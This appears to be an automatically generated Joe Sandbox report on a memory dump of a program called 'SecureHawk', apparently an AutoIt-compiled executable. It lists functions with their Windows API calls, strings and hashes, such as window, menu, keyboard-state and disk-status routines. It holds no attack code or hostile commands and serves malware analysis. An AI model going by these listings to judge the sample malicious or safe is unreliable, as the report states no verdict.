Opcode ID: 7e5cd445220a32f30c6ae98fd81b1d5e85eeba217b97db6910e59c3c5958c3be
Instruction ID: 75e205efda56fbf53e2b1ce7f0fc695648c41d37133cb6d3d42a01b4540ce526
Opcode Fuzzy Hash: 7e5cd445220a32f30c6ae98fd81b1d5e85eeba217b97db6910e59c3c5958c3be
Instruction Fuzzy Hash: ED514F71B10205AFDB59CFA8DD89AAEBBBAEF88310F14816DF516D7290D770AD048B50

Function 002F2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 002F29AB: GetWindowLongW.USER32(?,000000EB), ref: 002F29BC

GetSysColor.USER32(0000000F), ref: 002F25AF

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: e86091f8841a9ab87d59254e0f93408e147846668e1143fec29f820f64b183b1
Instruction ID: d1237bff7b3951c0658d06e3fc554e5a56c6f9fd7070132d4f36bc8a21117924
Opcode Fuzzy Hash: e86091f8841a9ab87d59254e0f93408e147846668e1143fec29f820f64b183b1
Instruction Fuzzy Hash: 8A41C431010214DBDB269F28DC89BB97B69EB07774F1542A1FE65CA1E2C7308C59DB21

Function 003029BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00310AB6: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00302A3E,?,00008000), ref: 00310AD2

Part of subcall function 003101AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00302A58,?,00008000), ref: 003101CF

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00302ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00302C2C

Part of subcall function 00303EBE: _wcscpy.LIBCMT ref: 00303EF6

Part of subcall function 0031379F: _iswctype.LIBCMT ref: 003137A7

Strings

#include depth exceeded. Make sure there are no recursive includes, xrefs: 0033FC97
Bad directive syntax error, xrefs: 0034000F
EA06, xrefs: 0033FCC8
Unterminated string, xrefs: 00340056
Error opening the file, xrefs: 0033FCB3, 0033FD2A
AU3!, xrefs: 00302A93

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 8b34494ca443972c4c3c1704e9cfb73a721d0c64162cac74c0798a3ea5fe19d2
Instruction ID: 520a3be09dcf48bd02f7a5d9ce3fb727ae44bb6c58b637fa8682f712b59c7d17
Opcode Fuzzy Hash: 8b34494ca443972c4c3c1704e9cfb73a721d0c64162cac74c0798a3ea5fe19d2
Instruction Fuzzy Hash: 7E02B4705093419FC72AEF24C891AAFBBE5FF89314F44491DF5859B2A1DB30D949CB42

Function 0037C3AF Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

Part of subcall function 002F2714: GetCursorPos.USER32(?), ref: 002F2727
Part of subcall function 002F2714: ScreenToClient.USER32(003B67B0,?), ref: 002F2744
Part of subcall function 002F2714: GetAsyncKeyState.USER32(00000001), ref: 002F2769
Part of subcall function 002F2714: GetAsyncKeyState.USER32(00000002), ref: 002F2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0037C417
ImageList_EndDrag.COMCTL32 ref: 0037C41D
ReleaseCapture.USER32 ref: 0037C423
SetWindowTextW.USER32(?,00000000), ref: 0037C4CD
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0037C4E0
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0037C5C2

Strings

@GUI_DROPID, xrefs: 0037C514
pr;, xrefs: 0037C56B
@GUI_DRAGFILE, xrefs: 0037C557
pr;, xrefs: 0037C530

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$pr;$pr;
API String ID: 1924731296-2847593548
Opcode ID: 7986e492ed8041b30cad6f3b76169c6fa6cf1452d69940534186ace65d790774
Instruction ID: c121be4c8273d7a1952e1d5543c4e261a551f06a400e5d685cb59e726b3d4b14
Opcode Fuzzy Hash: 7986e492ed8041b30cad6f3b76169c6fa6cf1452d69940534186ace65d790774
Instruction Fuzzy Hash: 6E51BE71204304AFD716EF10CC96FAA7BE5EF84314F00861DF6598B2E2CB74A958CB52

Function 002F4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 002F4D62
__swprintf.LIBCMT ref: 002F4DAC
__i64tow.LIBCMT ref: 0032DA6B

Strings

True, xrefs: 0032DA2C
0x%p, xrefs: 0032DA4D
False, xrefs: 0032DA33
%.15g, xrefs: 002F4DA6

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 4aaee810aa3ab3b360720cd86d589d919b580dba10173b360a3841dbefd8524a
Instruction ID: 586609ae3b720303f49cfbfc91a34d05fdc31d3d772b60c41d677d9a0db0aa46
Opcode Fuzzy Hash: 4aaee810aa3ab3b360720cd86d589d919b580dba10173b360a3841dbefd8524a
Instruction Fuzzy Hash: 6A41EC71514219AFDB29EF74D842EB7B3E8EF49340F20446EF549DB291EAB1D981CB10

Function 0037753F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00377557
CreateMenu.USER32 ref: 00377572
SetMenu.USER32(?,00000000), ref: 00377581
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0037760E
IsMenu.USER32(?), ref: 00377624
CreatePopupMenu.USER32 ref: 0037762E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0037765B
DrawMenuBar.USER32 ref: 00377663

Strings

F, xrefs: 0037764F
0, xrefs: 0037754D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 23f475fbfaa0e06de80ac0a2439f4d1b9a62159bf8f085b6951174d85e0dfd5e
Instruction ID: 8bb2d2a252080ce4738da9c6e9bbddedf878e5f5c8fc3eb92cdb755c61a9402d
Opcode Fuzzy Hash: 23f475fbfaa0e06de80ac0a2439f4d1b9a62159bf8f085b6951174d85e0dfd5e
Instruction Fuzzy Hash: FE418B79A04209EFDB22DF68D884BDABBB9FF09340F154069F90997360D734A914CFA0

Function 003778A8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0037794B
CreateCompatibleDC.GDI32(00000000), ref: 00377952
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00377965
SelectObject.GDI32(00000000,00000000), ref: 0037796D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00377978
DeleteDC.GDI32(00000000), ref: 00377981
GetWindowLongW.USER32(?,000000EC), ref: 0037798B
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 0037799F
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 003779AB

Strings

static, xrefs: 003778E3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: a23bc2f450dca2628d8f7696728df25b4a9381dc6f18c10362913e7de6900987
Instruction ID: aa7df3c04c9250f804b8681a48de85f1505e5ed83d42bac26cd748eaa87dac14
Opcode Fuzzy Hash: a23bc2f450dca2628d8f7696728df25b4a9381dc6f18c10362913e7de6900987
Instruction Fuzzy Hash: D631AA32105219ABDF269F64DC09FEA3B6DEF0A320F114214FA59A60A0D735D824DBA4

Function 00316F60 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00316F9B

Part of subcall function 00318C88: __getptd_noexit.LIBCMT ref: 00318C88

__gmtime64_s.LIBCMT ref: 00317034
__gmtime64_s.LIBCMT ref: 0031706A
__gmtime64_s.LIBCMT ref: 00317087
__allrem.LIBCMT ref: 003170DD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003170F9
__allrem.LIBCMT ref: 00317110
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0031712E
__allrem.LIBCMT ref: 00317145
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00317163
__invoke_watson.LIBCMT ref: 003171D4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: d6621db3d2ca959d40680c9effbe4be6f459e86d6815bcad3abaa4aa18a5f2e7
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: AB71F872A00716BBD71A9F78DC42BDAB3B8AF09720F184239F514DB681E774D9818BD0

Function 00352B3A Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00352B55
GetMenuItemInfoW.USER32(003B6890,000000FF,00000000,00000030), ref: 00352BB6
SetMenuItemInfoW.USER32(003B6890,00000004,00000000,00000030), ref: 00352BEC
Sleep.KERNEL32(000001F4), ref: 00352BFE
GetMenuItemCount.USER32(?), ref: 00352C42
GetMenuItemID.USER32(?,00000000), ref: 00352C5E
GetMenuItemID.USER32(?,-00000001), ref: 00352C88
GetMenuItemID.USER32(?,?), ref: 00352CCD
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00352D13
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00352D27
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00352D48

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 898dcf35ea42234d32e188fc6121cf084397f5124f232629698e1652b3b7a70f
Instruction ID: eff8af30cfdeaf523f480e9b5f3807297d46751b524b2e2c5473892c1347e48d
Opcode Fuzzy Hash: 898dcf35ea42234d32e188fc6121cf084397f5124f232629698e1652b3b7a70f
Instruction Fuzzy Hash: 5C61A0B1900249AFDF16CF64DC88DBF7BB8EB42305F150559EC11A7261D771AD49DB20

Function 00377310 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00377392
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00377395
GetWindowLongW.USER32(?,000000F0), ref: 003773B9
_memset.LIBCMT ref: 003773CA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 003773DC
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00377454

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 9f69d2a574742e6d529e97006d3753c6163c6032f4cb2732f7ca4d110c492c34
Instruction ID: caf571ad1399d14b27383f00dc7d7c77ce205033ef5be678ccbff8f5e46df4e7
Opcode Fuzzy Hash: 9f69d2a574742e6d529e97006d3753c6163c6032f4cb2732f7ca4d110c492c34
Instruction Fuzzy Hash: FE617C75900208AFDB22DFA4CC81EEE77F8EB09714F144159FA19E72A2C778AD45DB90

Function 00347599 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 003475C0
SafeArrayAllocData.OLEAUT32(?), ref: 00347619
VariantInit.OLEAUT32(?), ref: 0034762B
SafeArrayAccessData.OLEAUT32(?,?), ref: 0034764B
VariantCopy.OLEAUT32(?,?), ref: 0034769E
SafeArrayUnaccessData.OLEAUT32(?), ref: 003476B2
VariantClear.OLEAUT32(?), ref: 003476C7
SafeArrayDestroyData.OLEAUT32(?), ref: 003476D4
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003476DD
VariantClear.OLEAUT32(?), ref: 003476EF
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003476FA

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 748ef01d895ad878773da76bbc434bc684840c002e856fb314cead0193c9c18b
Instruction ID: 6ea1471382eef6ee4fe20ca33a19b237ed5de0d05d42197dbf17afd3d2588d61
Opcode Fuzzy Hash: 748ef01d895ad878773da76bbc434bc684840c002e856fb314cead0193c9c18b
Instruction Fuzzy Hash: 81416335A002199FCB06DFA9C844DADBBFDFF48354F018069EA55AB261CB70E945CF90

Function 00350374 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0035039C
GetAsyncKeyState.USER32(000000A0), ref: 0035041D
GetKeyState.USER32(000000A0), ref: 00350438
GetAsyncKeyState.USER32(000000A1), ref: 00350452
GetKeyState.USER32(000000A1), ref: 00350467
GetAsyncKeyState.USER32(00000011), ref: 0035047F
GetKeyState.USER32(00000011), ref: 00350491
GetAsyncKeyState.USER32(00000012), ref: 003504A9
GetKeyState.USER32(00000012), ref: 003504BB
GetAsyncKeyState.USER32(0000005B), ref: 003504D3
GetKeyState.USER32(0000005B), ref: 003504E5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: d322c50d50e3194a44cb0f853dbe408c79ace14cd9756b3b12c61da313b315a3
Instruction ID: 646666d9b436e81712c9d6b99e3af34171905793b2575a2056100838313c46c7
Opcode Fuzzy Hash: d322c50d50e3194a44cb0f853dbe408c79ace14cd9756b3b12c61da313b315a3
Instruction Fuzzy Hash: FD415C745487C96AFF3B87608404BB5BEA06F12301F094099DEC5465D2EBA649CCCF62

Function 0036886D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

CoInitialize.OLE32 ref: 003688B5
CoUninitialize.OLE32 ref: 003688C0
CoCreateInstance.OLE32(?,00000000,00000017,00383BBC,?), ref: 00368920
IIDFromString.OLE32(?,?), ref: 00368993
VariantInit.OLEAUT32(?), ref: 00368A2D
VariantClear.OLEAUT32(?), ref: 00368A8E

Strings

Invalid parameter, xrefs: 003689AC
Failed to create object, xrefs: 0036892B, 003689E1
NULL Pointer assignment, xrefs: 00368965

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 167f26eec86bb49c19620ba035bee5698b613f5f3dadee5b36e0b57abcddacf0
Instruction ID: 5e8595598100449fe679dc900df522c3bb17b6fc63b2e5bb0bfac88b2b9dbed1
Opcode Fuzzy Hash: 167f26eec86bb49c19620ba035bee5698b613f5f3dadee5b36e0b57abcddacf0
Instruction Fuzzy Hash: E9619E702087119FD712DF64C849B6EB7E8EF49754F008A5EF985AB291CB70ED48CB92

Function 0035B973 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0035B980
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0035B9F6
GetLastError.KERNEL32 ref: 0035BA00
SetErrorMode.KERNEL32(00000000,READY), ref: 0035BA6D

Strings

INVALID, xrefs: 0035BA3F
UNKNOWN, xrefs: 0035BA25
READONLY, xrefs: 0035BA38
NOTREADY, xrefs: 0035BA2C
READY, xrefs: 0035BA46

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: abffdac7b27bcd934c9c84683a63a61686587a080bd075322976b7708809ad95
Instruction ID: 8183dd88e526d06b334553f14b94be65beae5f5f6ab7dab58258c9fc96884ceb
Opcode Fuzzy Hash: abffdac7b27bcd934c9c84683a63a61686587a080bd075322976b7708809ad95
Instruction Fuzzy Hash: 5C31A435A002099FCB02EF64DC95EFEF7B8EB45305F118166ED06DB2A1DB719949CB90

Function 0035334A Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 003533E9

Strings

stop, xrefs: 003533BA
info, xrefs: 0035338A
question, xrefs: 003533A2
warning, xrefs: 003533D2
blank, xrefs: 0035336B
,j;0j;, xrefs: 003533FA
,j;0j;, xrefs: 0035337C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconLoad
String ID: ,j;0j;$,j;0j;$blank$info$question$stop$warning
API String ID: 2457776203-1623967603
Opcode ID: 2c743f464151d3256126e28403fd278217e6d4d1f0d4df6ba2dcdb77bbfc0d1d
Instruction ID: 1a4f8c36fc508a833da66f20012f38f5023ed39def408de11d3d522f54543290
Opcode Fuzzy Hash: 2c743f464151d3256126e28403fd278217e6d4d1f0d4df6ba2dcdb77bbfc0d1d
Instruction Fuzzy Hash: D5115B75748306BAE70B4A159C43DEA77DCDF1A3A2B10401EFD01AE1D2DAB55F884160

Function 0034992A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 0034B57D: GetClassNameW.USER32(?,?,000000FF), ref: 0034B5A0

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 003499AF
GetDlgCtrlID.USER32 ref: 003499BA
GetParent.USER32 ref: 003499D6
SendMessageW.USER32(00000000,?,00000111,?), ref: 003499D9
GetDlgCtrlID.USER32(?), ref: 003499E2
GetParent.USER32(?), ref: 003499FE
SendMessageW.USER32(00000000,?,?,00000111), ref: 00349A01

Strings

ComboBox, xrefs: 00349937
ListBox, xrefs: 0034996C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
